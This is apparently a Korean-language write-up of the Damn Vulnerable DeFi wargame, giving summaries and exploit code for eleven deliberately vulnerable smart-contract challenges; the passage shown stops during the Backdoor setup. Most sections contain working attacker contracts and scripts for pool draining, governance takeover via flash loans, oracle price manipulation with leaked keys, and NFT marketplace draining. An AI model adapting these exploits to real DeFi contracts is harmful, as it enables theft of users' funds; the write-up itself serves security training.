‘Damn Vulnerable DeFi’ is an offensive security playground for decentralized finances.

This article offers a brief summary and exploit code of each challenge.

For detailed source code and contents, please check my github repository.

# 1. Unstoppable

Summary

Flash Loan을 제공하고 있는 Lending Pool을 대상으로 DoS 공격을 통해 기능을 멈추게하는 것이 목표이다.

Flash Loan?

Flash Loan은 간단하게 설명하자면 ‘무담보’ 대출로, 보통 사용자는 대출 풀에 소정의 수수료를 지급하고(물론 트랜잭션 실행에 대한 가스비도 소모) 토큰을 대출할 수 있다.

대출한 토큰을 가지고 다른 DeFi 서비스에 투자를 하던, 에어드랍 보상을 위한 스테이킹을 하던, 사용자가 상환 이전까지 사용할 수 있다.

하지만 Flash Loan의 대출-상환 프로세스는 ‘단일’ 트랜잭션에서 이루어져야 하며, 상환 과정에서 대출받은 토큰만큼의 수량을 Pay Back하지 않는 경우 해당 트랜잭션이 revert된다.

revert가 된다는 것은 해당 트랜잭션이 블록에 포함되지 않아 PoW/PoS 등의 거래증명이 완료되지 않기 때문에, State Transition이 발생하지 않는다.

말이 어려운데 그냥 원금을 돌려놓지 않으면, 대출-상환 사이에 토큰을 옮기든 무엇을 하든 트랜잭션 revert로 인해 대출 실행 이전의 상태로 원복된다는 것이다.(수수료나 가스비만 소모)

이더리움에서는 계정(컨트랙트 및 EOA)을 대상으로 강제로 Ether를 송신할 수 있으므로

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);

와 같이 컨트랙트의 balance를 엄격하게 확인하는 코드를 작성하는 경우에 주의해야 한다.

위 코드로 인해 Lending Pool의 계좌 잔액이 1 wei만 늘어나더라도, assert()에 의해 이후의 코드가 실행되지 않는 DoS 상태로 빠질 수 있다.

Exploit

unstoppable.challenge.js

await this.token.connect(attacker).transfer(this.pool.address, 1);      // forcibly send 1 wei to lending pool

# 2. Naive receiver

Summary

Flash Loan을 제공하는 Lending Pool에서 대출 수수료로 1 ETH를 청구한다. 해당 Lending Pool을 이용하는 특정 사용자의 balance(10 ETH)를 drain하는 것이 목표이다.

// NaiveReceiverLenderPool.sol
...
// msg.sender가 borrower인지 검증하는 로직이 없음 -> 공격자가 임의의 사용자의 컨트랙트에 있는 잔고를 고갈시킬 수 있음(수수료 사용)
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
    // (1) Flash Loan 컨트랙트의 잔액이 borrowAmount에 비해 충분한지 확인
    uint256 balanceBefore = address(this).balance;
    require(balanceBefore >= borrowAmount, "Not enough ETH in pool");

    // (2) 대출자인 borrower가 컨트랙트인지 확인(not EOA)
    require(borrower.isContract(), "Borrower must be a deployed contract");

    // borrower.receiveEther() 호출
    // Transfer ETH and handle control to receiver
    borrower.functionCallWithValue(
        abi.encodeWithSignature(
            "receiveEther(uint256)",
            FIXED_FEE
        ),
        borrowAmount
    );
    
    require(
        address(this).balance >= balanceBefore + FIXED_FEE,
        "Flash loan hasn't been paid back"
    );
}
...

위 코드를 보면 확인할 수 있듯이, flashLoan() 을 호출하여 대출을 실행하는 사용자인 msg.sender가 borrower인지 검증하는 로직이 없어, 공격자가 임의의 사용자 주소를 borrower에 입력하여 호출이 가능하다.

Exploit

naive-receiver.challenge.js

for(let i=0;i<10;i++){
    await this.pool.connect(attacker).flashLoan(this.receiver.address, ethers.utils.parseEther('0'));
}

# 3. - Truster

Summary

Flash Loan을 기반으로 DTV 토큰을 무료로 대출해주는 Lending Pool이 있으며, 해당 Lending Pool은 100만개의 DTV 토큰을 가지고 있다. 해당 Lending Pool로부터 모든 DTV 토큰을 공격자의 계정으로 옮기는 것이 목표이다.

...
// functionCall()을 이용하여 target 컨트랙트의 및 특정 함수를 호출하는 코드로 인해, 공격자는 어떠한 함수든 호출이 가능
function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);      // Vulnerable : target 및 data를 이용해 함수 호출 -> 어떠한 함수든 호출이 가능한 상황

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
...

target.functionCall(data); 에 의해 현재 어떠한 함수든 사용자가 호출이 가능한 상황이다.

require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); 구문 우회를 위해, approve() 함수를 호출하도록하여 Lending Pool->공격자로 토큰 전송을 승인해두고 flashLoan() 호출 이후에 transferFrom()을 이용해 Lending Pool의 모든 토큰을 공격자의 계정으로 가져올 수 있다.

Exploit

truster.challenge.js

const ABI = ["function approve(address, uint256)"];
const interface = new ethers.utils.Interface(ABI);
const payload = interface.encodeFunctionData("approve", [attacker.address, TOKENS_IN_POOL.toString()]);

await this.pool.connect(attacker).flashLoan(0, attacker.address, this.token.address, payload);          // token.approve() : lending pool -> attacker
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);

# 4. Side entrance

Summary

누구나,언제든 ETH를 예치/인출할 수 있는 Lending Pool이 있다.

해당 Lending Pool은 1,000 ETH의 balance를 가지고 있으며, 프로모션으로 예치된 ETH를 자유롭게 대출할 수 있는 Flash Loan 서비스를 제공하고 있다.

공격자는 해당 Lending Pool로부터 모든 ETH를 가져와야 한다.

// SideEntranceLenderPool
contract SideEntranceLenderPool {
    using Address for address payable;

    mapping (address => uint256) private balances;

    // ETH deposit(예치) 기능 제공
    // Vulnerable : ETH 수신 여부와 상관없이 balance를 증가시킴
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // ETH withdraw(인출) 기능 제공
    function withdraw() external {
        uint256 amountToWithdraw = balances[msg.sender];
        balances[msg.sender] = 0;
        payable(msg.sender).sendValue(amountToWithdraw);
    }

    /**
     * @notice Flash Loan 기능으로 사용자에게 원하는 만큼의 ETH를 대출
     * @param amount 대출할 ETH의 수량
     * @dev 대출을 요청한 사용자 컨트랙트의 execute() 함수를 호출 -> execute
     */
    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough ETH in balance");
        
        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");        
    }
}

대출을 요청한 사용자 컨트랙트의 execute() 함수를 실행하며, msg.value를 통해 대출한 ETH 토큰을 전달한다.

deposit() 함수는 ETH를 사용자에게 수신했는지 여부와 상관없이 balance를 증가시키도록 취약한 형태로 작성되어 있다.

공격자는 내부적으로 deposit()을 호출하여 대출한 ETH를 Lending Pool에 예치하는 execute() 함수 및 컨트랙트를 호출한 뒤, flashLoan() 실행이 종료된 이후에 withdraw()를 통해 ETH를 가져올 수 있다.

  • (1) flashLoan()을 통해 대출한 ETH를 다시 deposit()하여 공격자의 balances를 증가시킨다.
    • deposit()이 예치한 사용자의 ETH 전송 여부는 확인하지 않기 때문에, 대출한 토큰으로 balances만 증가시키고 다시 상환
  • (2) 공격자는 withdraw()를 호출하여 Lending Pool의 ETH를 가져온다.

Exploit

attacker-contracts/FlashLoanEtherReceiver.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../side-entrance/SideEntranceLenderPool.sol";

contract FlashLoanEtherReceiver {
    SideEntranceLenderPool private immutable pool;
    address payable private immutable attacker;

    constructor(address payable poolAddress, address payable attackerAddress) {
        pool = SideEntranceLenderPool(poolAddress);
        attacker = attackerAddress;
    }

    function execute() external payable {
        pool.deposit{value: msg.value}();
    }

    function executeFlashLoan() external {
        // attack -> increase attacker's balances
        pool.flashLoan(address(pool).balance);
        pool.withdraw();

        // send drained ether to attacker
        attacker.transfer(address(this).balance);
    }

    // Allow deposits of ETH
    receive () external payable {}
}

side-entrance.challenge.js

const FlashLoanEtherReceiver = await ethers.getContractFactory('FlashLoanEtherReceiver', attacker);
this.receiver = await FlashLoanEtherReceiver.deploy(this.pool.address, attacker.address);

await this.receiver.executeFlashLoan();

# 5. The rewarder

Summary

DTV 토큰을 예치한 사용자에게 5일마다 한번씩 리워드 토큰을 보상해주는 Reward Pool이 있다. (라운드마다 100개의 리워드 토큰을 보상하며, 예치한 비율에 따라 분배)

현재 Alice, Bob, Charile, David 4명이 사용자가 각각 100개의 DTV 토큰을 예치한 상태이며, Reward Round 2에서 각각 25개씩의 Reward를 수령하였다.

공격자는 DTV 토큰을 하나도 가지고 있지 않은 상태에서, Reward Round 3에서 가장 많은 Reward Token을 수령하는 것이 목표이다.

100만개의 DTV 토큰을 보유하고 있는 FlashLoanderPool로부터 대출받은 토큰을 Reward Pool에 예치하여 리워드 토큰을 수령하면 된다.

Exploit

attacker-contracts/FlashLoanTheRewarder.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanerPool {
    function flashLoan(uint256 amount) external;
}

interface IDamnValuableToken {
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address) external returns (uint256);
}

interface IRewarderPool {
    function deposit(uint256 amountToDeposit) external;
    function withdraw(uint256 amountToWithdraw) external;
    function distributeRewards() external returns (uint256);
}

interface IRewardToken {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address) external returns (uint256);
}

contract FlashLoanTheRewarder {
    using Address for address payable;

    address payable private lenderPool;
    //address payable private liquidityToken;
    address payable private rewarderPool;
    address payable private attacker;
    address payable private rewardToken;

    address payable private liquidityToken;

    uint256 public testUint;

    constructor (address payable _lenderPool, address payable _liquidityToken, address payable _rewardToken, address payable _rewarderPool, address payable _attacker) {
        lenderPool = _lenderPool;
        //liquidityToken = _liquidityToken;
        liquidityToken = _liquidityToken;
        rewarderPool = _rewarderPool;
        rewardToken = _rewardToken;
        attacker = _attacker;
    }

    function receiveFlashLoan(uint256 amount) external {
        require(msg.sender == lenderPool, "Sender must be pool");

        // Flashloan Borrow : Receive liquidity token(DTV) from LenderPool(flashloan)
        uint256 amountToBeRepaid = amount;

        IDamnValuableToken(liquidityToken).approve(rewarderPool, amountToBeRepaid);

        IRewarderPool(rewarderPool).deposit(amountToBeRepaid);
        IRewarderPool(rewarderPool).withdraw(amountToBeRepaid);
        
        // Flashloan Repayment : Pay back to LenderPool(flashloan)
        IDamnValuableToken(liquidityToken).transfer(lenderPool, amountToBeRepaid);
        
    }

    function execFlashLoans(uint256 amount) external {
        IFlashLoanerPool(lenderPool).flashLoan(amount);

        IRewardToken(rewardToken).transfer(
            msg.sender,
            IRewardToken(rewardToken).balanceOf(address(this))
        );
        
    }

    receive () external payable {}
}

the-rewarder.challenge.js

const FlashLoanTheRewarder = await ethers.getContractFactory('FlashLoanTheRewarder', attacker);
this.attackerContract = await FlashLoanTheRewarder.deploy(this.flashLoanPool.address, this.liquidityToken.address, this.rewardToken.address, this.rewarderPool.address, attacker.address);

// Next Reward Round!
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days

await this.attackerContract.execFlashLoans(ethers.utils.parseEther('1000000'));


//console.log(await this.attackerContract.check());
console.log(await this.rewarderPool.roundNumber());
// for (let i = 0; i < users.length; i++) {
//     console.log(await this.rewardToken.balanceOf(users[i].address));
// }
console.log(await this.rewardToken.balanceOf(attacker.address));

# 6. Selfie

Summary

Flash Loan을 제공하며 거버넌스 메커니즘을 기반으로 제어가 가능한 150만개의 DTV 토큰을 보유하고 있는 Lending Pool이 있다.

공격자는 0개의 DTV 토큰을 가지고 있으며, 해당 Lending Pool로부터 모든 토큰을 가져오는 것이 목표이다.

// SelfiePool.sol
...
/**
 * @notice 컨트랙트(펀드)에 있는 모든 토큰 잔액을 해당 주소로 전송 (governance만 해당 함수 호출 가능)
 * @param receiver 모든 토큰 잔액을 전송할 대상 주소
 */
function drainAllFunds(address receiver) external onlyGovernance {
    uint256 amount = token.balanceOf(address(this));
    token.transfer(receiver, amount);
    
    emit FundsDrained(receiver, amount);
}
...

Flash Loan 컨트랙트에는 거버넌스만이 실행할 수 있으며 지정된 계정으로 모든 토큰을 보내는 drainAllFunds() 함수를 제공하고 있다.

// SimpleGovernance.sol
...
/**
 * @notice 거버넌스 큐에 실행할 작업을 적재
 * @param receiver 작업을 실행할 컨트랙트의 주소
 * @param data 작업에 사용할 calldata(함수 이름, 인자 등)
 * @return 큐에 적재된 작업의 식별자(actionId)
 */
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
    require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");          // 큐에 작업을 추가하기 위해서는 전체 토큰 발행량의 절반 이상을 가지고 있어야 함
    require(receiver != address(this), "Cannot queue actions that affect Governance");      // governance 컨트랙트 내 함수는 실행하지 못함

    uint256 actionId = actionCounter;

    GovernanceAction storage actionToQueue = actions[actionId];
    actionToQueue.receiver = receiver;
    actionToQueue.weiAmount = weiAmount;
    actionToQueue.data = data;
    actionToQueue.proposedAt = block.timestamp;     // 작업이 큐에 적재된 시간(timestamp)

    actionCounter++;

    emit ActionQueued(actionId, msg.sender);
    return actionId;
}
...
/**
 * @notice 거버넌스 큐에 적재된 작업 실행
 * @param actionId 실행할 작업의 식별자(actionId)
 */
function executeAction(uint256 actionId) external payable {
    // _canBeExecuted()에 의해 (1) 아직 실행된 적이 없고(executedAt==0), (2) 큐에 적재된지 2일 이상이 지난 작업만 실행 가능
    require(_canBeExecuted(actionId), "Cannot execute this action");
    
    GovernanceAction storage actionToExecute = actions[actionId];
    actionToExecute.executedAt = block.timestamp;

    actionToExecute.receiver.functionCallWithValue(
        actionToExecute.data,           // address target
        actionToExecute.weiAmount       // bytes memory data
    );

    emit ActionExecuted(actionId, msg.sender);
}

해당 거버넌스 메커니즘은 총 200만개가 발행된 DTV 토큰 중에서, 100만개를 초과한 토큰을 가진 계정만이 Lending Pool을 제어할 수 있는 action을 queue에 삽입할 수 있다.

Flash Loan으로부터 150만개의 토큰(총 발행량의 과반이 넘는 토큰양)을 대출한 뒤, 거버넌스 큐에 drainAllFunds() 함수를 실행하는 action을 삽입한다.

이후 queue에 있는 action을 실행하여 Lending Pool의 모든 토큰을 공격자의 계정으로 옮길 수 있다.

Exploit

attacker-contracts/FlashLoanSelfie.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

interface IDamnValuableToken {
    function transfer(address recipient, uint256 amount) external;
    function transferFrom(address sender, address recipient, uint256 amount) external;
    function approve(address spender, uint256 amount) external;
    function balanceOf(address account) external returns (uint256);
}

interface IDamnValuableTokenSnapshot {

    function snapshot() external returns (uint256);

    function getBalanceAtLastSnapshot(address account) external view returns (uint256);

    function getTotalSupplyAtLastSnapshot() external view returns (uint256);
}

interface ISimpleGovernance {
    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256);
    function executeAction(uint256 actionId) external payable;
    function getActionDelay() external view returns (uint256);
}

interface ISelfiePool {
    function flashLoan(uint256 borrowAmount) external;
    function drainAllFunds(address receiver) external;
}


contract FlashLoanSelfie {
    using Address for address payable;

    address payable public attacker;
    address payable public token;
    address payable public governance;
    address payable public lenderPool;
    
    uint256 public actId;

    constructor (address payable _attacker, address payable _token, address payable _governance, address payable _lenderPool) {
        attacker = _attacker;
        token = _token;
        governance = _governance;
        lenderPool = _lenderPool;
    }

    function receiveTokens(address _tokenAddress, uint256 _borrowAmount) external {
        // Flash loan borrow
       
        IDamnValuableTokenSnapshot(_tokenAddress).snapshot();

        actId = ISimpleGovernance(governance).queueAction(lenderPool, abi.encodeWithSignature("drainAllFunds(address)", attacker), 1);
        
        // Flash loan repayment : pay back to flash loan
        IDamnValuableToken(_tokenAddress).transfer(lenderPool, _borrowAmount);
    }

    function executeFlashLoans(uint256 _amount) external {
        ISelfiePool(lenderPool).flashLoan(_amount);
    }

    receive() external payable {}
}

selfie.challenge.js

const FlashLoanSelfieFactory = await ethers.getContractFactory('FlashLoanSelfie', attacker);
this.exploit = await FlashLoanSelfieFactory.deploy(attacker.address, this.token.address, this.governance.address, this.pool.address);

await this.exploit.connect(attacker).executeFlashLoans(ethers.utils.parseEther("1500000"));

await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days

await this.governance.executeAction(0);

# 7. Compromised

Summary

“DVNFT"라는 NFT를 거래하는 마켓이 있으며, 해당 NFT는 개당 999 ETH에 판매되고 있다.

NFT의 판매 가격은 3개의 Trusted Reporter가 설정한 가격의 median 값을 사용하고 있다.

NFT 마켓은 9990 ETH, 공격자는 0.1 ETH를 보유하고 있는 상황에서 마켓이 가진 모든 ETH를 가져오는 것이 목표이다.

해당 마켓으로부터 다음과 같은 on-chain 데이터가 유출되었다.

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

유출된 두개의 데이터는 2개의 Trusted Reporter 계정의 개인키(Private Key)이므로, 해당 개인키를 이용해 NFT 마켓의 NFT 가격을 낮게 설정하는 트랜잭션을 송신함으로써 시세 조작이 가능하다.

// TrustfulOracle.sol
...
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
    uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));

    // calculate median price
    if (prices.length % 2 == 0) {
        uint256 leftPrice = prices[(prices.length / 2) - 1];
        uint256 rightPrice = prices[prices.length / 2];
        return (leftPrice + rightPrice) / 2;
    } else {
        return prices[prices.length / 2];
    }
}
...

Trusted Reporter가 설정한 가격이 홀수인 경우 prices[prices.length / 2]와 같이 median price를 계산한다.

공격자는 3개중 2개의 개인키를 가지고 있기 때문에, 원하는대로 median price를 조작하는 것이 가능하다.

Exploit

compromised.challenge.js

// load wallet/signer from Private Key

// Leaked Hex Data -> Base64Decode
// 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
let privKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
var wallet1 = new ethers.Wallet(privKey1, ethers.provider);

// 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
let privKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
var wallet2 = new ethers.Wallet(privKey2, ethers.provider);

// Makret Manipulation (Price to low)
await this.oracle.connect(wallet1).postPrice("DVNFT", ethers.utils.parseEther("0.01"));
await this.oracle.connect(wallet2).postPrice("DVNFT", ethers.utils.parseEther("0.01"));

// buy
await this.exchange.connect(attacker).buyOne({value: ethers.utils.parseEther("0.01")});

// Makret Manipulation (Price to high)
await this.oracle.connect(wallet1).postPrice("DVNFT", ethers.utils.parseEther("9990.01"));
await this.oracle.connect(wallet2).postPrice("DVNFT", ethers.utils.parseEther("9990.01"));
console.log(await this.oracle.getAllPricesForSymbol("DVNFT"));
console.log(await this.oracle.getMedianPrice("DVNFT"));

// approve & sell
await this.nftToken.connect(attacker).approve(this.exchange.address, 0);
await this.exchange.connect(attacker).sellOne(0);

// price recovery
await this.oracle.connect(wallet1).postPrice("DVNFT", ethers.utils.parseEther("999"));
await this.oracle.connect(wallet2).postPrice("DVNFT", ethers.utils.parseEther("999"));

# 8. Puppet

Summary

100,000 DTV 토큰을 보유한 Lending Pool로부터 모든 토큰을 가져오는 것이 목표이며, 공격자는 25 ETH / 1,000 DTV를 가지고 있는 상태로 시작한다.

Uniswap V1을 기반으로 구축된 Puppet Pool DEX(DEcentralized eXchange)가 있으며, 10 DTV / 10 ETH 의 초기 유동성이 공급되고 있다.

100,000 DTV 토큰을 보유하고 담보 대출을 해주는 Lending Pool이 있으며, Uniswap V1의 AMM(CPMM, Constants Product Market Maker)을 Price Oracle로 사용하고 있다.

  • 정확히는 Uniswap V1에서 받아오는 Price Oracle의 x2 가격을 담보로 설정하여 DTV 토큰을 대출해준다.
  • 초기 Uniswap V1의 유동성은 10 DTV / 10 ETH이기 때문에, CPMM에 의해 Price Oracle은 1이며, Lending Pool로부터 1 DTV를 대출하려면 2 ETH를 담보로 전송해야 한다.

공격자는 자신이 가진 DTV를 Uniswap V1 Pool에 있는 ETH와 Swap하여 Price Oracle 즉 DTV 토큰의 상대적인 가격을 임의로 낮출 수 있다. (1 DTV 당 대출에 필요한 ETH 가격이 낮아짐)

CPMM 기반 Uniswap V1 Pool에 충분한 유동성이 공급되지 않는 경우, 토큰의 가격을 조작할 수 있다. (안정적인 가격 유지를 위해 충분한 유동성이 공급되어야 한다.)

Exploit

puppet.challenge.js

await this.token.connect(attacker).approve(this.uniswapExchange.address, ethers.utils.parseEther("990"));

await this.uniswapExchange.connect(attacker).tokenToEthTransferInput(ethers.utils.parseEther("990"), ethers.utils.parseEther("1"), (await ethers.provider.getBlock('latest')).timestamp * 2, attacker.address);

let priceOracle = ethers.BigNumber.from(await this.lendingPool.calculateDepositRequired(ethers.utils.parseEther("1")));
let numOfEths = priceOracle.mul(100000).add(1);

await this.lendingPool.connect(attacker).borrow(ethers.utils.parseEther("100000"), {value: numOfEths});

# 9. Puppet v2

Summary

Puppet과 동일하게 적은 유동성에 따른 토큰 가격 조작에 대한 위험이 있으며, Uniswap V2 업데이트에 따른 인터페이스(Wrapped ETH, Swap Router Path 등)만 맞춰주면 된다.

Exploit

puppet-v2.challenge.js

// Swap DTV -> ETH
let stamp = (await ethers.provider.getBlock('latest')).timestamp * 2;
await this.token.connect(attacker).approve(this.uniswapRouter.address, ethers.utils.parseEther("9999"));
await this.uniswapRouter.connect(attacker).swapExactTokensForETH(ethers.utils.parseEther("9999"), ethers.utils.parseEther("1"), [this.token.address, this.weth.address], attacker.address, stamp);

// lending!
// attacker eth -> weth convert
let priceOracle = ethers.BigNumber.from(await this.lendingPool.calculateDepositOfWETHRequired(ethers.utils.parseEther("1")));
let numOfWeths = priceOracle.mul(1000001)
await this.weth.connect(attacker).deposit({value: numOfWeths});
await this.weth.connect(attacker).approve(this.lendingPool.address, numOfWeths);

// steal!
await this.lendingPool.connect(attacker).borrow(ethers.utils.parseEther("1000000"));

# 10. Free rider

Summary

DVNFT를 거래할 수 있는 마켓이 있고, 해당 마켓에는 초기에 발행된 6개의 NFT가 각각 15 ETH에 판매되고 있다.

해당 마켓에 있는 모든 NFT가 drain될 수 있는 취약점이 있는데, buyer는 방법을 몰라 공격자에게 의뢰한 상황이다.

공격자는 0.5 ETH로 시작하며, 해당 마켓으로부터 6개의 NFT 토큰을 빼와 buyer에게 전달하면 대가로 45 ETH를 받을 수 있다.

FreeRiderNFTMArketplace.sol의 _buyOne()에 취약점이 존재한다.

NFT를 15 ETH에 구매한 buyer에게 토큰을 전송한 뒤 원래 owner인 seller에게 15 ETH의 금액을 전송해야하는데, 다음 코드처럼 새로운 owner인 buyer에게 금액을 전송하게 된다.

-> 공격자는 15 ETH 만 있으면 마켓내 모든 NFT 토큰을 구매할 수 있다.

// FreeRiderNFTMArketplace.sol
...
function _buyOne(uint256 tokenId) private {       
    uint256 priceToPay = offers[tokenId];
    require(priceToPay > 0, "Token is not being offered");

    require(msg.value >= priceToPay, "Amount paid is not enough");

    amountOfOffers--;

    // Vulnerability : NFT를 safeTransferFrom(token.ownerOf(tokenId))로 보내면, 해당 NFT 토큰의 owner가 새 buyer로 바뀐다
    //                 그 이후에 token.ownerOf(tokenId).sendValue() 호출 시 지불금액이 seller가 아닌 buyer에게 다시 돌아감!

    // transfer from seller to buyer
    token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

    // pay seller
    payable(token.ownerOf(tokenId)).sendValue(priceToPay);      // vulnerable

    emit NFTBought(msg.sender, tokenId, priceToPay);
}    
...

공격자는 0.5 ETH 밖에 없기 때문에, UniswapV2의 Flash Swap을 이용하여 ETH를 대출하여 마켓내 모든 NFT 토큰을 가져올 수 있다.

  • (1) UniswapV2 Flash Swap을 통해 15 ETH 대출 (Borrow)
  • (2) 취약점을 이용하여 마켓내 모든 NFT 토큰 drain
  • (3) UniswapV2 Flash Swap에 15 ETH 상환 (Pay Back)
  • (4) 모든 NFT 토큰을 buyer에게 전송하여, 45 ETH 수령

Exploit

attacker-contracts/FlashLoanFreeRider.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

interface IUniswapV2Pair {
    // token0 : weth
    // token1 : DTV
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

interface IWETH9 {
    function balanceOf(address) external returns (uint);
    function deposit() external payable;
    function withdraw(uint wad) external;
    function transfer(address dst, uint wad) external returns (bool);
}

interface IFreeRiderNFTMarketplace {
    function buyMany(uint256[] calldata tokenIds) external payable;
}

interface IERC721 {
    function safeTransferFrom(address from, address to, uint256 tokenId) external;
}

contract FlashLoanFreeRider {

    address uniswapPair;
    address weth;
    address payable nftMarketplace;
    address damnNft;
    address buyer;

    uint256[] public tokenIds = [0,1,2,3,4,5];

    constructor(address _uniswapPair, address _weth, address payable _nftMarketplace, address _damnNft, address _buyer) {
        uniswapPair = _uniswapPair;
        weth = _weth;
        nftMarketplace = _nftMarketplace;
        damnNft = _damnNft;
        buyer = _buyer;
    }

    // UniswapV2's Flash Loan Interface
    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
        IWETH9(weth).withdraw(amount0); // Borrow : received FlashLoan WETH -> ETH

        IFreeRiderNFTMarketplace(nftMarketplace).buyMany{value: address(this).balance}(tokenIds);   // drain all NFT Token from marketplace

        IWETH9(weth).deposit{value: address(this).balance}(); // ETH -> WETH

        IWETH9(weth).transfer(uniswapPair, IWETH9(weth).balanceOf(address(this)));  // Pay back to FlashLoan

        // Send NFT tokens to buyer
        for(uint256 i=0 ; i<tokenIds.length ; i++) {
            IERC721(damnNft).safeTransferFrom(address(this), buyer, i);
        }
    }

    function onERC721Received(address, address, uint256 _tokenId, bytes memory) external returns (bytes4) {  
        return IERC721Receiver.onERC721Received.selector;
    }

    function exploit(uint256 _flashLoanAmount) external {
        bytes memory data = "EXPLOIT";
        IUniswapV2Pair(uniswapPair).swap(_flashLoanAmount, 0, address(this), data);
    }

    receive() external payable {}
}

free-rider.challenge.js

// FreeRiderNFTMarketplace._buyOne()의 취약점으로 인해 15 ETH(NFT 1개당 가격)만 있으면 모든 NFT를 빼내올 수 있다.

// UniswapV2의 FlashLoan 이용! - UniswapV2Pair.sol -> swap()
// attacker-contracts/FlashLoanFreeRider.sol

this.exploitContract = await(await ethers.getContractFactory('FlashLoanFreeRider', attacker)).deploy(
                                                                                        this.uniswapPair.address,
                                                                                        this.weth.address,
                                                                                        this.marketplace.address,
                                                                                        this.nft.address,
                                                                                        this.buyerContract.address,
                                                                                        );

await this.exploitContract.exploit(ethers.utils.parseEther("15"));

# 11. Backdoor

Summary

Gnosis Safe Wallet 레지스트리가 배포되었으며, 해당 레지스트리를 이용하여 지갑을 등록 및 deploy 시 보상으로 10 DTV 토큰을 받을 수 있다.

해당 레지스트리는 GnosisSafeProxyFactory를 이용하여 Safety Check를 수행한다.

현재 WalletRegistry에 benficiary로 등록된 사용자는 Alice, Bob, Charile, David 네 명이다.

WalletRegistry는 네 명의 사용자에게 보상으로 지급할 40 DTV 토큰을 가지고 있으며, 네 사용자가 WalletRegistry를 이용하여 지갑을 생성/배포 시 보상으로 해당 지갑에 토큰(10 DTV)을 받을 수 있다.

공격자는 해당 WalletRegistry로부터 40 DTV 토큰을 가져오는 것이 목표이다.

각 사용자의 EOA는 현재 GnosisSafeProxyFactory를 통한 Proxy 컨트랙트 배포 이전에 beneficiary로 등록만 된 상태이다.

GnosisSafeProxyFactory::createProxyWithCallback()을 통해 지갑이 생성 및 배포되며, 전달된 콜백함수(WalletRegistry::proxyCreated())에 의해 지갑 관련 모듈 세팅이나 보상 토큰 지급 등의 모듈 코드를 실행하게 된다.

지갑 생성/배포 및 보상 분배 과정

  • (1) GnosisSafe(masterCopy) 및 GnosisSafeProxyFactory(walletFactory) 배포 (실제 환경에서는 이미 mainnet이나 testnet에 배포되어 있음)

  • (2) WalletRegistry 배포

